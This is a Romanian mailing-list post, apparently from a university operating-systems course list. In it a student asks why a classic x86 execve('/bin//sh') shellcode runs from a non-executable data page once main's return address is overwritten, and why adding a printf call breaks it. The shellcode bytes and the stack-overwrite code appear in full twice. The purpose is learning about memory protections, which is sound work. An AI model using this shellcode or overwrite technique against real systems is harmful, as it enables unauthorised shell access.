[so] pagini si drepturi de executie in Linux. security. (textul corect, v2)

Alexandru Goia goia.alexandru.linux at gmail.com
Wed Jun 6 21:55:30 EEST 2012


Buna ziua.

Pentru cei interesati :
Raspunsul la a doua intrebare l-am gasit. Pe scurt : canaries.

Mai detaliat : se pare ca GCC-ul, pentru orice functie, mai complicata
decat declararea unor variabile si atribuirea lor cu valori, genereaza
cod assembler care contine PUSH-uri inainte de a face
PUSHL %EBP ; MOVL %ESP, %EBP. Asadar distanta nu mai este
de 2 words = 8 bytes, de la variabila ret pana la return-address-ul lui
main, salvat pe stiva inaintea apelarii lui main.

Totusi, raspunsul la prima intrebare nu l-am gasit.

Alexandru


2012/6/5 Alexandru Goia <goia.alexandru.linux at gmail.com>

> Buna ziua,
>
> Sa zicem ca avem urmatorul cod sursa :
>
> char sc[]=              /* 24 bytes                       */
>     "\x31\xc0"             /* xorl    %eax,%eax              */
>     "\x50"                 /* pushl   %eax                   */
>     "\x68""//sh"           /* pushl   $0x68732f2f            */
>     "\x68""/bin"           /* pushl   $0x6e69622f            */
>     "\x89\xe3"             /* movl    %esp,%ebx              */
>     "\x50"                 /* pushl   %eax                   */
>     "\x53"                 /* pushl   %ebx                   */
>     "\x89\xe1"             /* movl    %esp,%ecx              */
>     "\x99"                 /* cdql                           */
>     "\xb0\x0b"             /* movb    $0x0b,%al              */
>     "\xcd\x80"             /* int     $0x80                  */
> ;
>
> main()
> {
>         int *ret;
>
>         ret = (int *)&ret + 2;
>         *ret = sc;
>
> }
>
> Ce se intampla in sc[] este un apel execve, pentru un shell (/bin/bash).
>
> Problema/intrebarea este : DE CE acest cod functioneaza ? (Linux Intel
> 32-bit),
> caci daca compilam si rulam pmap si gdb pe el, vedem o pagina read & exec,
> de la adresa 0x08048000, in care se alfa main(), si o pagina read & write
> (but no exec),
> in care se afla sc[], de la adresa 0x08049000.
>
> In main, tot ce facem este sa suprascriem pe stiva (care este read & write)
> adresa de return a lui main(), care suprascrisa trimite la cod executabil
> de la
> adresa lui sc[], dar sc[] este intr-o pagina fara drept de executie.
>
> So, DE CE functioneaza, totusi ?
>
> Am testat acest program si pe procesoare cu NX-bit, si cu kernel NX
> enabled,
> si pe procesoare mai vechi, fara NX-bit, dar care au si ele kernel ce face
> rwx pe pagini.
> (Slackware Linux 13.1, 32-bit, Linux kernel 2.6.33.4, GCC 4.4.4 : ambele
> cazuri).
>
>
> Partea a 2-a :
>
> Daca adaugam un apel de functie la sfarsitul lui main(), de exemplu ca mai
> jos,
> vom obtine de fiecare data segmentation fault.
>
> Intrebare : DE CE aici nu "merge", si mai sus "merge" ?
>
> #include <stdio.h>
>
> char sc[]=              /* 24 bytes                       */
>     "\x31\xc0"             /* xorl    %eax,%eax              */
>     "\x50"                 /* pushl   %eax                   */
>     "\x68""//sh"           /* pushl   $0x68732f2f            */
>     "\x68""/bin"           /* pushl   $0x6e69622f            */
>     "\x89\xe3"             /* movl    %esp,%ebx              */
>     "\x50"                 /* pushl   %eax                   */
>     "\x53"                 /* pushl   %ebx                   */
>     "\x89\xe1"             /* movl    %esp,%ecx              */
>     "\x99"                 /* cdql                           */
>     "\xb0\x0b"             /* movb    $0x0b,%al              */
>     "\xcd\x80"             /* int     $0x80                  */
> ;
>
> main()
> {
>         int *ret;
>
>         ret = (int *)&ret + 2;
>         *ret = sc;
>
>          printf("Security\n");
> }
>
>
> Referinte :
> http://www.enderunix.org/docs/en/bof-eng.txt
> http://www.phrack.org/issues.html?issue=49&id=14#article
>
> Cu gandul ca doar cu o cunoastere temeinica a subiectului
> si a feature-urilor de securitate pe care le ofera sistemul de operare
> putem dormi linistiti daca avem servere conectate la Internet :-),
> va multumesc,
> Alexandru
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://cursuri.cs.pub.ro/pipermail/so/attachments/20120606/80243d54/attachment-0001.htm>


More information about the so mailing list